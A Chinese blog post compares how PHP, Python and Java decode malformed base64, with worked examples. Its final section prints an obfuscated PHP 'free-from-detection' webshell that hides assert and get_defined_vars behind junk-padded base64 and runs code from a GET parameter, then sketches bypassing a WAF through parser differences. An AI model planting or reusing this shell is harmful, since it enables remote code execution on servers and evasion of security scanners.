记事簿-各语言之间的base编码问题


绪论

今天在学长给我的一道题中,我得知了一个我理当知道,却没有仔细去思考过的有趣想象

—— 不同计算机语言对同一编码的处理方式,理应有所差别

base64格式

⼤⼩写英⽂, 数字, +, =, / 组成⼀个base64

  • 例⼦⼀:

    字符串: aaa!~~!aa123g

    base64: YWFhIX5+IWFhMTIzZw==

  • 例⼦⼆:

    字符串: aaa!~~!aa123gfG{}:”>?dddff

    base64: YWFhIX5+IWFhMTIzZ2ZHe306Ij4/ZGRkZmY=

php对base64的处理

弱类型语言几乎都对各种“小错误”有着很强的容忍性,这其中就包括php和python

但这种容忍性在对base64的处理上,体现出明显的差距

例子: abcdef

base64: YWJjZGVm

<?php
$a = "abcdef";
$b = base64_encode($a);
echo $b."\n";
echo base64_decode($b)."\n";
echo base64_decode("YWJjZGVm");

这时处理时正常的

image-20210928171559884

php对“错误”的处理

当故意输入许多的乱码时

echo base64_decode("YWJ~~~jZG`Vm");

image-20210928220530274

base64被正常的解码

字符串: a
base64: YQ==
php_1:
base64: ----Y|Q==
解码为: a
解码情况: 成功
php_2:
base64: ^Y-|]--[Q-=)=
解码为: a
解码情况: 成功
php_3:
base64: 来Y测Q==啊
解码为: a
解码情况: 成功
php_4:
base64: YQ==Yg==
解码为: 第⼀个YQ==成功解码,第⼆个YQ==会解析成乱码
解码情况: YQ==会解析为a, Yg==会解析为乱码, YQ==遇到=号了解析完毕以后后⾯的base64都
会乱码

可以看出php对这些错误有着很高的容忍程度,只要没有破坏base64的规则,基本不会出现什么问题

python对base64的处理

python对”错误”的容忍就明显不如php了,虽然python中base64解码函数号称时最强的

例如:
字符串: a
base64: YQ==
python_1:
base64: ----Y|Q==
解码为: a
解码情况: 成功
python_2:
base64: ^Y-|]--[Q-=)=
解码为: a
解码情况: 成功
python_3:
base64: 来Y测Q==啊
解码为: ⽆法解
解码情况: 失败,遇到中⽂会直接爆
ValueError: string argument should contain only ASCII characters
错误
python_4:
base64: YQ==Yg==
解码为: 第⼀个YQ==成功解码,第⼆个YQ==直接过滤
解码情况: YQ==会解析为a, python遇到了=号以后就等于结束了,=号后⾯的内容全部会⾃动过滤
掉不解析

由上可知,php遇到中文也不会有事,而python遇中文报错

还有一点,python对base64的字节数有着严格的限制,如果可编码的字节数不对,将会直接报错

比如:

import base64
res = base64.b64decode("YWFhIX5+IWFhMTIzZw==")
print(res)

image-20210929121646959

虽然可以随意的添加不影响格式的特殊字符,但如果删掉一个等号,就会立刻报错

即python的base64虽然不被干扰,但是它解码的字节必须与正常的base64一致,否则报错,而php无此限制

image-20210929122331764

java对base64的处理

java时强类型语言,显然不能随心所欲的写base64,但仍然有个操作

即java可以同时解析多个base64并将其解析拼接

字符串: a
base64: YQ==
java:
base64: YQ==Yg==
解码为: ab
php:
base64: YQ==Yg==
解码为: YQ==会解析为a, Yg==会解析为乱码

技巧的利用

免杀马

正如我看的那篇文章所说,这个技巧最大的用途,就是写免杀马,市面上许多免杀都是基于对文件内容的检测(危险函数,语法),而将代码通过base64加密并混淆,可以起到免杀的作用

这里直接上文章里写的马

<?php
$base64_decode_str = 'edoced_46esab';
$base64_decode = strrev($base64_decode_str);
// get_defined_vars 的 base64
$parameter_base64 = 'Z~2!!!V#0%X{2}R.l;Z,ml.u|Z-W^R……f*dmFycw==^^^^^^';
$parameter = $base64_decode($parameter_base64);
// assert 的 base64
$assert_base64 = '<>-Y|X_N@z!Z\X]J[0:.::::';
$asser = $base64_decode($assert_base64);
// 利⽤
$asser($parameter()['_GET'][1]);
?>
利⽤⽅法: http://127.0.0.1/test.php?1=phpinfo();

waf绕过

除免杀马外,该技巧还可以用于绕过waf

例如一个用php写的网站A,但他用了用Python写的waf B,这时如果A发送base64给B,B解码处理,我们就可以通过对base64的操作绕过waf B

实例不便展示

鸣谢:

《各语言base64解码的神奇之处》


文章作者: Atmujie
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Atmujie !
评论
  目录